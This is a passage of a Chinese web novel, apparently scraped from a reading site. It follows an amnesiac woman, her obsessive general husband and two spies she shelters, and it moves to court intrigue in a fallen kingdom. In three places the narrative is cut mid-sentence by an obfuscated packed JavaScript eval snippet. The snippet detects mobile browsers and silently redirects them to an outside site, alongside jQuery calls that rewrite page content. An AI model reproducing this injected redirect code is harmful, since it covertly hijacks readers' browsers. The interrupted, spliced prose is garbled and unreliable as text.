苏裳眸中亮光闪了闪,眼神带了几分恻隐:“是……崩逝时间尚短,正史尚未修撰好,我那儿有本《英烈本纪》记载得很翔实,若有兴趣,下次去飞花楼我借给你。” 第二天,灵昌罕见地雾霾散尽,亮白暖煦的太阳给了她莫大勇气。 她没去旁听虞先生讲学,换了身利索骑装,安步当车一直走到康平街,在门前立了许久,去附近酒铺买了瓶烧刀子,咕噜咕噜仰头灌下,火一样的烈酒、顺喉咙滚进肺腑,燃起一股暖意和勇气。 脑子昏昏沉沉的,她深吸一口气,脚底蹬地、攒足力气将整个身子扑在门上,一分分往里顶进,锈涩的门枢嘎吱作响,红绿驳杂的包铜大门缓缓开启…… 像是推开另一个世界。 台阶和庭院的石缝里全是枯草,水磨石影壁风吹雨蚀,顶部有些发黑、裂开几条纵横的细缝。穿游廊、过垂花门,转个方向是一道矮墙,月门上的匾额刻着四个大字——白露水榭。 湖已干枯发黑,湖底淤泥上长满嫩草,是这满目荒芜中唯一的亮色,水渚长满干枯的芦苇,九曲转折的回廊通向湖心亭。 她晃神了刹那,看见苇花纷飞如雪没入碧波、枫树红叶翩跹,看见湖心亭坐着个人,荼白色宽大长袍,正随意弹拨面前一架七弦琴,却什么声音都没有。 烧刀子在腹中灼烧,她闭眼晃了晃脑袋,睁眼又只见枯水、枯树、枯芦苇,和空荡荡的九曲回廊、湖心亭。 退出月门、退回抄手游廊,东南有高楼。石阶覆盖着干枯的苔癣,木门经风吹雨打、已朽烂不堪,歪斜的匾额上,依稀可见名称——起云楼。 腐朽的空气,沉积着另一个时空的尘埃和灰烬,衰朽的楼梯吱呀作响,像是来自岁月另一端的问候。 一步一步,轻车熟路走到二楼的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566031|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗前,默默注视窗外缭乱的梧桐枝。她做了个意想不到的动作:单膝下跪,举起右手,紧握成拳按在心口上,对着空荡荡的花窗张了张嘴。 她突然忘了要说什么,脑子僵成一块死木,喉咙又干又涩、疼得像吞针,所有的话语堵在胸臆,她努力尝试了几次,什么声音都发不出。 胸口传来剧痛,一股腥甜的热流从胸臆蹿上来,顷刻堵满咽喉、从口中喷涌而出。 然后,她眼前一黑,什么都感觉不到了。 几天后,她身着男子妆扮,坐在飞花楼“醉花春”雅间,慢悠悠喝着三花酒,酒味极淡、喝起来像清甜的糖水。 苻洵巡军之前,怕她成天在家太闷,在飞花楼包下这个雅间,一应酒水食物都从洛川别苑送来,她只管得空时来听听曲、跳跳舞。 她面前的紫檀茶几上放着一本线装书,干净泛黄的棉连纸封皮上印着“英烈本纪”。 她深深吸一口气,别开脸、慢慢试探着伸出手,触到封皮的刹那、像是触到烙铁,闪电般缩回。 第九次尝试。 她闭上双眼别过脸,右手摸索着桌面,摸到书的封皮,心一横、咬咬牙掀开,再慢慢回过头,先是将双眼睁开一线,再逐渐睁大。 卷一,翊庄王本纪。庄王者,昭王之嫡长也。母冯太后…… 心突突直跳,所有的血都涌上脑袋,太阳穴针扎似的疼起来。两耳轰鸣如雷,双目发胀发涩,眼前一阵黑一阵白,晃出无数重影,终于支撑不住,阒然倒下。 她发现自己又站在那条空荡荡的窄巷里,三级石阶破损得坑坑洼洼、爬满湿滑青苔。拾级而上,面前是两扇木门,朱漆斑驳、老旧、半朽、虚掩着。 她将手放在生满铜绿的门环上,深深吸了口气,用力一推…… 推开了阖府上下灯火通明。 热热闹闹人来人往,她却看不清他们的面容。 围墙后是一排罩房,穿堂而出时,婢女仆从来来往往,领头的女子对她敛衽一礼:“公子回来了?”她伸出手去,一排排婢女仆从的身影如水波一般荡漾开来。 穿过院子继续往前走,主屋是浅白的木质门,仅刷着几层清漆,匾额上錾刻三个端正的楷书——朝晖堂。推门而入,朝晖堂又用围墙和月门隔成三个小院。 她似有所感,直接穿过主院、走进东院,一名单薄瘦削的白衣少年正在练武,短刀如秋水、软剑如白绸、长鞭如灵蛇,他身子如飞燕游龙,两三样兵器相协相合、绵延不绝。 她莫名觉得他十分熟悉,伸出手去,白衣少年顷刻散作雾气。 雾气渐浓,将她包裹得严严实实,她在白茫茫的迷雾里惶然四顾,向着一个方向拼命跑去,却怎么都跑不到尽头。 一柄长枪虎虎生风、向她袭来,她巍然不动,那寒森森的枪尖堪堪停在鼻尖一寸处,红缨犹自飘拂。雾气里传出个轻快的男声:“哈哈……躲都不躲,真不怕我这一枪下去,毁了你那张小白脸。” 她听到自己嗓音带笑:“毁了这张小白脸,你妹子自会替我算账。” 少年矫健的身影从雾气中浮出来,仍是看不清脸,大大咧咧揽住她的肩膀:“好兄弟,你从哪儿找来的这七个宝贝,把他们借我使使呗?” 她顺着少年目光看去,四男三女正好七个,全都屈膝半跪,恭敬地抱拳、仰头看着她,面目却是一团模糊。 突如其来的搂抱,她脸红耳热忙不迭去推,那臂膀却跟铁钳似的。情急之下,她脱口而出:“放手!老六!” 锦瑟奋力挣扎着,慌乱睁开双眼,满目漆黑,她被一双胳膊紧紧禁锢,动弹不得。竭力放缓呼吸、适应黑暗之后,她顷刻打了个寒噤,被吓出一身冷汗。 140. 天涯沦落人 锦瑟发现正躺在洛川别苑主屋的大床上,熟悉的甘甜木香环绕在身侧,枕边人紧紧箍着她、手臂还在慢慢收拢。他呼吸轻而平稳,昏暗夜光下,一双眼睛正直勾勾注视着她。 苻洵不知何时回到灵昌,又不知何时将她从飞花楼接回、放到主屋,再悄无声息在她身边和衣躺下,就这样清醒着、目不转睛盯着她不知多久。 锦瑟被看得头皮发麻,挤出个微笑:“何时回来的?怎不歇息?” 苻洵垂眸,唇角微微上扬:“好几个月没见到姐姐,久别重逢,欣喜难以自抑。” 那眼神可不怎么像欣喜。 她感觉一股森寒顺着脊背缠到头顶,情不自禁咽了口唾沫,定定神、用最轻快自然的语气说:“我渴了。” 苻洵的表情松缓了些,扬眉轻笑一声,起身去掌灯,慢腾腾往竹节杯里倒温水、舀了一小勺木樨露搅匀,端起竹节杯放在床头小几上。 又推门而出,走到檐下招呼府兵:“去酒窖拿一坛花雕上来。” 锦瑟心跳一突,正欲阻止,张了张嘴赶紧闭上,一言不发端起竹节杯,饮着香醇微苦的温水。苻洵转身走进来,注视着她双眸,似笑非笑:“听说姐姐新酿了冰雪酒,阿洵想尝尝,姐姐要不要也来一杯?” “大半夜的喝什么酒”,锦瑟攥紧竹节杯,不让杯中水泼洒半滴,若无其事放回小几,低头迅速瞟过自己的寝衣,“我穿成这样,府兵怎么进来?你要喝酒,让絮儿或柳儿去拿吧。” 苻洵唇角弯了弯:“有道理,大半夜的,不喝了。” 深深端详她一番,眉眼漾起笑意,抬手轻轻摩挲着她下颌,笑意越来越浓,转身走向软榻。 锦瑟怔住,忽然希望他再同自己说几句话,甚至是发一通火、逼问她,可他就那样若无其事笑着、闲庭信步走到榻边,一言不发地躺下。 她静静看了半晌,默不作声在他身边躺下,主动伸手从身后抱住他。 他后脊一僵,没有回头,抬起双臂顿在半空良久,握住她的手紧了紧、似要推开,却最终只僵硬地握住,顺着她袍袖慢慢上滑,捏住一处慢慢用力攥紧。 她疼得全身发颤,极力控制抽出手臂、推开他的冲动,眼睁睁看着那一处在他的抓握下逐渐洇出血红,却咬紧牙关、一言不发,直到那剧痛冲得她眼前晃出虚影。 “他们有什么好?” 晕过去之前,恍恍惚惚听到他的声音,带着哽咽,轻得像一阵烟雾。 第二天,苻洵起了个大早,正指挥柳儿收拾行装,说是有些怀念磐龙滩的汶鱼,想单独带她出去消遣。他若无其事、谈笑风生,仿佛昨晚所有的试探和失态都是幻觉。 他们在渔夫家中住了八天,回到灵昌已是腊月二十三。 年节之前最后一次大朝会,苻洵寅时从家中出发去北宸殿。他动身两刻之后,锦瑟匆匆梳妆好,向着五桂巷飞奔而去。 那座熟悉的小院早已人去楼空,空荡荡的院中石桌上,放着一个细长的革袋,下面压着一张字条,是谢恬的字迹:上峰军令,莫敢拂逆,救命之恩,不敢忘义。 她拿起革袋,抽出袋中卷轴展开,硝过的羊皮描着错综复杂的线条、数不尽的蝇头小楷,舆图顶端写着七个大字:渝安水师布防图。 . 十三天前、腊月初十,锦瑟在白鹭台练舞到亥正才回,却见洛川别苑被围得跟个铁桶似的,几道门都被重兵把守,姚晟正带府兵在掘地三尺地搜寻。 姚晟匆匆奔来向她请安,说是苻洵的书房进了盗匪,至今不知丢了何物、也未搜到盗匪隐匿之处。 她一向不大关注苻洵的政务,却也知晓利害,任由姚晟带二十多人将她送回主屋。 推门而入的刹那,一股异样的感觉油然而生。她脚步一滞,不动声色转身,呼唤絮儿和柳儿去厨房要热水,然后慢慢关上卧房门。 姚晟不便守着女眷沐浴,等了片刻并无异样,便率兵离开。 “出来。”她推开隔间门,掀起低垂的帘幕,映入眼帘的是满地血滴,司徒空和谢恬半跪着,死死攥住浴桶边缘,支撑自己不轰然倒地。 司徒空中了三刀,两刀在后背、一刀在胸膛,全是较浅的划伤。谢恬的境况却很糟糕,双腿各有一道划伤,腹腔还被捅了一刀,已失血到嘴唇发白。伤口被撕下的外袍草草包扎,奔涌的血浸透包裹布,一颗颗渗出来滴到地上。 她从衣柜取出干净的中衣丢给他们,瞥见那些极深的刀伤,思忖片刻,抓起桌上的薄胎瓷瓶狠狠砸下,然后褪下外袍撸起袖子,脚底一滑、侧身倒在碎瓷片上。 絮儿和柳儿带着粗使丫头抬热水走进院门,听到声响忙不迭跑过来,只见锦瑟咬着牙从碎瓷片堆里爬起,半边身子被划得全是伤口,最深的一道在左边胳膊,正汩汩冒血。 “药和棉布留下,人都出去。”锦瑟看着桌上堆积如山的伤药和棉布,向她们挥了挥手。 这样的事并不少见,苻洵以往受伤,要么是让锦瑟、要么是让郎琊包扎,实在无人就自己动手,从不愿假手她们。絮儿和柳儿对视一眼,心照不宣齐步走了出去,并关上了房门。 四角的落地琉璃宫灯将房间照得如同白昼,司徒空正给谢恬清理伤口,谢恬躺在浴桶中,神智已不大清晰,气若游丝道:“我没猜错……你就是她,对不对?” 锦瑟走近他们,伸出手:“把东西还回来。” 司徒空默不作声,一点点替谢恬清理好伤口。 谢恬突然睁大双眼,直勾勾盯着她:“金州那事对不起,我们从没有想过利用你,从来没有!” 锦瑟没接茬,直直伸出手去、顽固地等待着。 司徒空替谢恬上药、层层裹好伤口,血终于止住了,他眼中满是怒意,压低声音道:“洛川别苑守卫森严,我们此次一无所获。” 然后,他背着谢恬站起来,一手扶住背上的谢恬,一手抽出刀、架在锦瑟脖子上:“叨扰夫人许久,借夫人脖子一用。” “你们就这样对救命恩人的?”锦瑟简直被气笑,挑了挑眉漫声道,“挟持我?出得了洛川别苑,出不了灵昌。就算侥幸逃出灵昌,你们也逃不回南翊。即使回去了……” 她唇角微弯,凉凉补充说:“你们在南翊也颇受排挤吧,否则怎会被逼到独闯洛川别苑?” “你待如何?”司徒空冷笑,眸中精光骤然冷厉,“可是失心疯了,想替苻洵游说我们!” 谢恬仍竭力睁着双眼、含泪与她对视,锦瑟抬眸瞥了一眼,眉眼忽然漾起笑意:“你既叫我一声阿姊,听我一句劝,别再为任何人卖命了……自由地活着。” 司徒空急遽睁大双目,逼近她恶狠狠地问:“你究竟知不知道自己是谁?” “我是谁?想必你们比我清楚,劳驾相告”,她慢条斯理灭了烛火,走到屏风后,开始包扎伤口,“谢恬伤得很重,你们哪儿都去不了,先在这歇息。” 腊月十一黄昏,她刮去司徒空的虬髯,再拿出胭脂水粉替他们描画,画笔握在手中竟有如神助,寥寥数笔将他们画成另外两张面孔。 再让他们换上粗布褐衣、趁府兵交班时,支开絮儿和柳儿,司徒空抱着两个酒坛、谢恬端着一筐黑枣、金桔、枸杞子等药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577748|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材,二人躬身低头跟随她一路走向灶房的方向,幸途中无人撞见。 灶房后面是库房,经过时一帮厨娘正在库房里插科打诨,门口的小丫头眼尖、忙不迭向她请安,问她是否需要帮忙。 锦瑟平静地说:“侯爷快回京过年了,我做些冰雪酒,你们不懂怎么弄好喝。这两位是酒坊的长工……” 小丫头笑眯眯地说:“夫人待侯爷真上心,怪不得与侯爷这般恩爱。” 锦瑟笑了笑,带着二人绕过库房,忍着左臂伤痛,单手推开地面盖板,露出一段往下走的台阶。拾级而下、石阶尽头是一扇门,透着隐隐酒香。 “这是府里酒窖”,锦瑟摸出钥匙打开门,放他们进去,“他们搜了一天一夜也没找到人,如今正散开满城搜寻,府内反而最安全。我平时不大喝酒,阿洵回来之前,只要我不说,没人会来开这儿。就算偶然进来个婢子,酒窖这么大,敛藏气息总会吧……只要不是身怀武艺的府兵,应无大碍。” “这里有食物和水,等伤好一些,你们的身手避开府兵不是问题”,她拨伸手开箩筐表面的药材,掂了掂藏在下层的干粮和水袋,“你们最多只能在这待十天。” 司徒空幽幽地问:“你在苻洵眼皮子底下藏细作,想过后果吗?” 她回身走向门口,淡淡道:“没想过、也不愿意想,我觉得你们可信,不想让你们送命,仅此而已。” 司徒空沉默许久,叹了口气:“你果然还跟以前一模一样,一点都没变。” 她已经走到酒窖门口时,听见这话陡然一顿,回身注视着两人:“你们是我的谁?我又是谁?” 长久的沉默。 “是袍泽,更是朋友”,谢恬深深看向她,轻声一字字道,“你是谁,取决于你希望自己是谁。” “同是天涯沦落人,我们希望你自由。” . “主子,他们并未带走布防图。” 酒窖的门移开,透下白亮天光,郎琊款步走下来,轻轻叹息了一声,“主子,您还在服药,这酒……” 苻洵慢慢放下酒瓶,探手摸向地面,指尖粘着一点黏湿。他将手举到眼前,定定注视着指尖的猩红,失控笑出声来、笑得双肩不断抖动:“半年啊——不是一天、一个月,是整整半年。他们往来半年,我们竟没人察觉到分毫……” 他眼中噙满泪水,脸上挂着讥诮和自嘲:“叫你没出息,叫你不长记性,当初被人耍得晕头转向……人家什么都不记得了,照样能把你耍得团团转。” 郎琊酝酿半晌,委婉地劝慰道:“主子,他们是夫人之前最信任的心腹,人与人的都讲个缘法。夫人前尘尽忘、解脱所有束缚之后,第一眼觉得可信的,肯定是她心底信任至深的人。” “同理,她清醒后能对您一见钟情,不正说明您才是她内心深处的挚爱么?” “可她不信我……”苻洵喝下一口酒,两眼蓄满泪水,“那两个人,一个武功高强、一个智计无双,以前那些仇怨揭过去就揭过去了,我又何尝不惜才,不想白袍卫再多几员精锐。” “退一万步讲,纵然他们不愿背弃故国,只要她敞开心扉同我说,我瞧在她的面子上,又会把他们怎样?” “可她就这么狠心,宁肯自己遭罪都不信我,都要骗我、瞒我”,他越笑越大声,泪水夺眶而出,仰头将瓶中酒液尽数灌进口中,象牙白瓷瓶在手中越攥越紧,剧烈颤抖着猛然砸下、四分五裂,“骗子,都是骗子!” 郎琊沉默良久,终于忍无可忍,觑着他脸色小心翼翼道:“主子之前不也骗过夫人……好像不少次吧?” 141. 从此无心爱良夜 “是啊,我是骗过她,很多次”,苻洵的泪水和怒意乍然收住,愣了片刻,眉眼唇角的笑意越来越深,“我们就这样,她骗骗我、我骗骗她,就这样骗来骗去过一辈子,多好?何尝算不得情投意合、白头偕老?” 郎琊注视着苻洵,艰涩地咽下唾沫,迟疑道:“依卑职之见,夫人此时满心满眼都是主子,其中怕是有什么误会。何不挑个时机把话说开,总好过现在这样互相猜忌。” “说开,让她再次离开我,像以前无数次那样”,他张开双掌举到眼前,翻来覆去专注看着,笑意越来越恍惚,“去为所谓大义、所谓立场、所谓家国,再度站到我对面?” “你知道她前些天去了哪儿?质子府,哈哈……”他满眼自嘲,陡然暴怒嘶喊,“搭进去一条命还不够,再世为人还要反复往里跳?他们有什么好的?有什么好的?” 郎琊目露恻隐:“主子既已对夫人心生猜忌,彼此折磨,又何必死死抓住?” 苻洵的眼神一分分透出狠戾和偏执:“我不放!再痛都不放,死都不放,永远不放。” 他垂下手臂,手背青筋暴凸、攥住地上的线装书,甲尖用力扣住封皮上四个大字——英烈本纪。 另一只手也覆上书册,用力一撕,柔韧的麻线嘣然断裂,薄脆的白麻纸、绵韧的棉连纸碎成万千白蝶,好似飞雪,纷纷扬扬洒满酒窖,积了一层又一层,将落在阴暗处的血滴、泪滴一并掩盖。 . 建宁九年正月十六,烟花爆竹的呛人气味还没散尽,浩浩荡荡一队车马碾着满城红色碎纸,穿过张灯结彩的子午大街,出灵昌城北门、上官道、过金阙,一路向北、直奔北卢郡而去。 刚离开灵昌时,官道两侧的松柏、竹枝上还压着些积雪,翠绿洁白煞是好看。越往北走,植被越稀少、色彩越干枯,道路越发狭窄,白雪皑皑、天寒地冻,已进入贯穿摩云群山、戎陵群山的八百里平虞道。 湿冷寒气顺着鞋底渗上来,像成千上万根钢针锥刺骨髓,厚厚的裘氅裹得再紧,也无法抵挡这寒意。锦瑟双手紧贴着手炉,冻得发抖。 苻洵正专注地照料着小火炉,沸水不断翻滚气泡,中心蹲着一小盅燕窝,配着红枣、红豆、桂圆和黄糖,沸水起起伏伏,白瓷盅里的燕窝逐渐黄中透红、像一块柔软剔透的琥珀。 将燕窝盛入类冰似玉的影青碗中,放到她面前的小茶几上,苻洵柔声道:“还有些烫,凉一凉再吃。” 锦瑟飞快瞟了一眼,错愕道:“只有我的?” 苻洵眉眼带笑:“阿洵身强体健,用不着这些东西,倒是姐姐体质虚寒、要多注意补养。” 锦瑟思忖片刻,迟疑地问:“我们两个北上,留他们在家,是否不太妥当?” 苻洵笑盈盈道:“有柳华姑姑在,她是长秋宫积年的掌事女官,照料三个孩子轻松得很。奉宁那边的宅邸已收拾妥当,也叫洛川别苑,房屋格局和布置跟灵昌那栋一模一样,只等雪化就开始搬迁。” 锦瑟难以置信:“咱们不回灵昌了?” “是啊,咱们往后就定居奉宁了,安安生生过日子”,苻洵注视着她双眸,“姐姐如此不安,可是在灵昌有什么放不下的人或东西?或是——地方?” 锦瑟心跳一突,挤出个微笑,漫声道:“确实有很多放不下的,绿腰舞才刚把动作跳会、还不太连贯,苏裳还说要教我惊鸿舞、七徳舞……还有那么热闹的西市……” 苻洵静静听着,笑容未变、眼神逐渐凝固,垂眸盯向车厢地板,语气听不出喜怒哀乐。 “姐姐不必忧心,飞花楼在奉宁也有生意,我出发前已邀请苏裳姑娘移步奉宁,她答应了。至于西市——奉宁城规划得更齐整,大小是灵昌的两倍,游冶玩乐定会远胜灵昌。” 锦瑟仔细听着他周详的安排,神情复杂凝视着他,眼眶有些发热:“阿洵,你不必替我打算这样多,我也没什么可回报你的。” 苻洵抬眸,扬眉舒展笑意:“我只要你活得轻松恣意,一直这样陪着我就好了。” 锦瑟眼皮越来越沉滞,扶额斜靠在车厢壁上:“这些天不知怎么回事,一直很困。” 苻洵坐到她身后,伸出一臂揽住她,让她靠在自己怀中睡去:“姐姐气血不足,入冬困乏也是寻常,多歇歇就好了。” 转过脸的刹那,笑容尽收,另一只手无声捏紧,攥住藏在袖中松石绿的小瓷瓶。 . 阊江王宫上书房内,素雅沉敛的水磨石地板上,司徒空和谢恬埋着头、双膝跪地:“卑职无能,未从洛川别苑探知渝安水师布防的讯息。” 崔久安率先冷哼道:“堂堂隐蝠卫,办差办成这样,真不知你们之前是如何辅佐先王的!” 元承祎后背绷紧,双手垂在桌下紧握成拳,双目似要喷出火来,似乎下一秒就要冲出去。冯姮不动声色伸手、包覆住他因愤怒而颤抖的拳头:“崔爱卿有何建言?” 崔久安清了清嗓子,扯唇笑了:“既是不堪支撑的朽木,就要及早替换栋梁之材,既是不中用的人,就要及早给可用之人腾位置。” 卢照仪冷笑:“崔太尉口中的栋梁之材、可用之人,是否全都出自崔、王、沈几大氏族,或是大半出自金州军和羽林卫?” 崔久安一瞬不瞬注视着他:“卢大夫之言,是要用姜、宣那两叛臣之后?” 懒懒散散坐在一旁的元璟,不动声色伸出手,扯了扯元旭衣袖、递了个眼色,元旭满脸愠怒逐渐消失,阖目深呼吸,须臾后平复下来。 卢照仪反唇相讥:“什么叛臣不叛臣?北宛、荣国大举入侵时,武氏全族壮烈殉国,你五万金州军攻打个灵昌平原,非但没能围魏救赵、拖住荣军,反将自己打得损兵折将,又作何解释?” “都别吵了,哪有什么崔氏、武氏、姜氏?拿前朝的剑斩本朝的官”,元璟唇角扬起一抹笑,从袖中摸出一份名单:“我阊江朝廷既为大翊正统,自当承袭昭王、庄王陛下遗志,推行恩科、鼓励寒门子弟入仕从军。” “从征和七年到永平五年,共九次恩科武选、两千多名武进士,除去那些殉国的英烈,还有一千零五十三名,那些殉国的烈士如有后嗣、也当受到厚待,这不都是人?用不得么?” 此言一出,满室俱静。 卢照仪和元旭目露微笑颔首,冯姮神色无半分变化,垂眸沉思,崔久安死死盯着笑盈盈的元璟、唇角微弯一抹冷笑。 “请丞相呈递武进士名单。”一直默不作声的元承祎忽然开口。 四座俱惊,他却面沉如水、无半分情绪波动,从小黄门手中接过名单,逐个细看、边看边点头:“这些全是祖父与父王替朕擢选的良材嘉木,诸位这般踌躇,是觉得他们无识才之能么?” 冯姮一怔,目光带着讶异瞥向他。崔久安也将视线转移到堂上,朗声道:“臣愿聆听陛下教诲。” 元承祎恍若未见、翘了翘唇角:“然,镇南府世代久居群山,先震慑山中匪寇,后钳制荣军东进,劳苦功高,金州军的人、朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588432|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用起来自然放心。” “隐蝠卫之内两卫,编制八百、现空缺一百二十三名,朕欲效法父王、亲去军中擢选武官托付安危,外五卫指挥使、队率、成员,皆因地制宜,滬南分部由平南侯自行擢选,金州分部由镇国公自行擢选,如何?” 所有人都精神巨震、难以置信地看向元承祎,长久的沉默之后,崔久安目露狂喜:“臣领旨!” 元承祎笑容不减,目光扫过在地上跪成一排的司徒空和谢恬:“隐蝠卫副统领开阳、玉衡,办事不力、贻误军机,当以军法处置。” 元旭率先跪下求情:“陛下,洛川别苑乃荣国太尉私宅,除却披甲带刀的府兵、还有神出鬼没的白袍卫,闯入其中盗取军报本就九死一生啊,请陛下念在他们是褚太后旧部,宽恕他们性命。” 元承祎垂眸沉吟片刻,又瞟了一眼崔久安:“那便从轻处决,改判两百军杖、逐出隐蝠卫永不起用。” “两百?”元旭瞳孔急遽张大,失声惊呼,“他们还有伤在身,这不是要了他们性命吗?” 元承祎霍然抬头,眼神坚决:“不直接法办已是格外施恩,既然王叔挂心,这两百军棍就由王叔监刑罢,少一棍都不行。” 然后起身,走到崔久安面前,脸上堆满孺慕和景仰,亲自伸出双手虚虚搀扶:“太尉大人乃国之重器,不必拘泥于虚礼。” . 阊江风月十里街,杨花满御沟,红妆缦绾上青楼。 整个蜃洲大陆上,与莳花馆一样,维阳、宜邑、洛京、灵昌、奉宁、渝安等富庶繁华城池,皆有飞花楼的生意,阊江柳绵里的飞花楼,是所有飞花楼的总店。 元璟离开王宫后,先回丞相府换了身白狐裘,纯白底色上饰以金线、珊瑚珠,十分华丽精致,像个毫无修养的纨绔败家子。安步当车走到柳绵里,停在飞花楼前。 半个巴掌大小的白玉牌,描金錾刻着一丛风竹、一个瘦金体“清”字,带着淡淡的草香。元璟将花牌递给鸨母,鸨母神色一凛,忙恭声说:“清欢姑娘已梳妆停当、恭候多时,贵人请跟奴家来。” 鸨母引着他一路穿过前堂、游廊、后院,分花拂柳,到一僻静处的独门小院,只听丝篁阵阵、笛音袅袅。推门而入是一片水池,月皎波澄,垂着十几枝枯荷。 荷塘边的空地上铺着一块地毡,一名身材单薄的蓝袍男子席地而坐,横笛应和琴音。 听到开门声,他起身迎到门前躬身长揖:“愚侄元旭,拜见九王叔。” 元璟上下打量元旭片刻:“阿旭,咱们不刚刚还在上书房么?有什么事不能在家里说?” 元旭眉眼带笑,却透着冷冽,一言不发引元璟进入静室。木地板纤尘不染,红泥小炉燃着火苗,像黄里透红的薄纱舔舐着陶罐底部,清澈的滚水不断翻沸着气泡,咕噜咕噜温着白瓷薄胎的酒瓶。 他盯着滚水看了半晌,缓缓开口:“愚侄欲与王叔议一议,这山河破碎、风雨飘摇的阊江朝廷,将去往何方?” 元璟神色如旧,漫不经心道:“国无常强,无常弱。贤侄何必如此操切?” “今天上书房那一幕,实在是看不下去”,元旭挑了挑眉,激愤得双手发抖,“往昔他们排挤昇阳冯氏、往卫尉寺和羽林卫掺人也罢了,而今竟连内卫都敢动,这手伸得未免太长了。” 顿了顿,他带着愠怒冷笑:“主少国疑、祸起萧墙,要么由着权臣党同伐异、一点点烂下去,要么等着哪天苻洵带着渝安水师,将这阊江也一锅端了!” 142. 周公恐惧流言日 三十多年前冯姮远嫁昇阳,以冯广年为首、扈从而来的冯姓旁支,在征和、永平两朝发展为新贵,又称“昇阳冯氏”。 元璟唇角浮起微笑:“阿旭过虑了,今日在上书房,陛下的反应实在机敏,他不可能一直都只有六岁。” 元旭眉头紧蹙:“连隐蝠卫外两卫都给金州军自己选了,哪里机敏了,分明是退让……” “对啊,金州军可以掌控两卫”,他两眼一亮反应过来,“平南侯府同样可掌控两卫。” 元璟的笑容愈加意味深长:“也可以这样理解,不过阿旭,你莫要太执着于隐蝠卫,那不过是一个称号。” “照此说来,陛下已有对策”,元旭唇角微扬:“当今陛下之圣明果决,当真不逊其父。” “这才是我真正担忧的啊”,元璟忽地显出淡淡忧虑,“长眼睛的可不止咱们,今日崔久安不过一时得意忘形,等他回过味来不堪设想……毕竟才六岁,若学不会韬光养晦,木秀于林风必摧之。” 元旭叹了口气:“六岁孩子,没爹没娘、天天被一帮权臣欺压……” 元璟盯着他:“有你时不时关怀宽慰陛下,也还好……大翊历朝历代,哪个坐稳王位的国君不是这样磨练出来的?” 元旭又垂眸沉吟:“崔氏跋扈至此,咱们真的只能听之任之,一味退让?” 元璟苦笑着摇头:“去年的昇阳、北疆之战,满朝武官之中的中帐之才已不剩几个了。事实上,就连崔久安都不够格,最能征善战那批人,全都跟随承赟去了北疆,被北宛骑兵拖住了。” “如今想来,怕是崔氏那时候打灵昌根本没尽全力,否则灵昌哪能撑这么久”,元旭喟然长叹,“苻洵这一招也真是毒辣,占领翊东三十多城,阻断南北。用北宛拖住我方战力最强的骑兵,再自西向东逐步蚕食。” “我如今羡慕的,却不是荣国有苻洵这般天才战神”,元璟也长声叹息,“还记得么?金州军拖住灵昌那几个月,苻洵迟迟不回援,苻沣非但没有问罪,还想尽法子给他运送粮草。” 元旭神色黯然:“他们君臣、兄弟,一个敢放权、一个不恋权,竟比大哥和四哥配合得更好。” 元璟:“如今朝中内忧外患,不宜擅动,只能韬晦、等待时机!” 元旭:“等?” 元璟点头:“冯太后是昭王中宫,又极擅长恩威并施、平衡势力,陛下是庄王嫡长子,二者名份出身都占了正统。崔氏只是势大,还未一手遮天,只能拿别人做筏子、不敢过分擅专。” “他们再是拥兵自重,能完全掌控的也只有金州军和那几个中等世家,最多捞些好处翻不了天。陛下总会长大,只要堪堪维持如今局面,不使崔氏得寸进尺,再过上几年赢面还是很大的。” 缓了缓,元璟总结道:“咱们眼下最好以不变应万变,休养生息、厉兵秣马,等陛下长大,等崔氏不断犯错落下把柄,等新一代武将成长起来。” 元旭唇角勾起,声音冷得像冰:“九叔,莫忘了荣国几十万大军、夜夜枕戈待旦。崔氏又不是死的,安知会借机发展多少势力?攘外必先安内!” 元璟笑着摇摇头:“水至清则无鱼,让他们得意一段时间又怎样?冯太后那边……论权术政斗的水平,你信不过我们,难道还信不过你的嫡母?” 他忽然定定注视着元旭,眉头微蹙,“阿旭,我记得你从前并不这样偏激?” 元旭双手紧握成拳、微微发颤,唇角扬起一抹讥诮:“我从前也并没有家破人亡。” . 迁都阊江之后,幼主元承祎临朝称制,冯太后再度垂帘听政。 崔久安在大朝会上奏报,自永平六年八月到永嘉一年冬月,长达一年半的战火延绵。翊庄王、褚太后、西三营诸将领、武氏满门战死,其碧血丹心当立传修志,激励军心的同时、表当世及万代千秋。 这一年半的战乱,冯太后失去了亲子、嗣孙、儿媳,幼主失去了生身父母,激愤之余立时准奏。至于文武百官、包括寒门入仕从军的那些,谁还没几个亲友死在战火之中? 于是,此言一出,全国莫不风从响应,集贤殿开始夜以继日编撰《英烈本纪》。 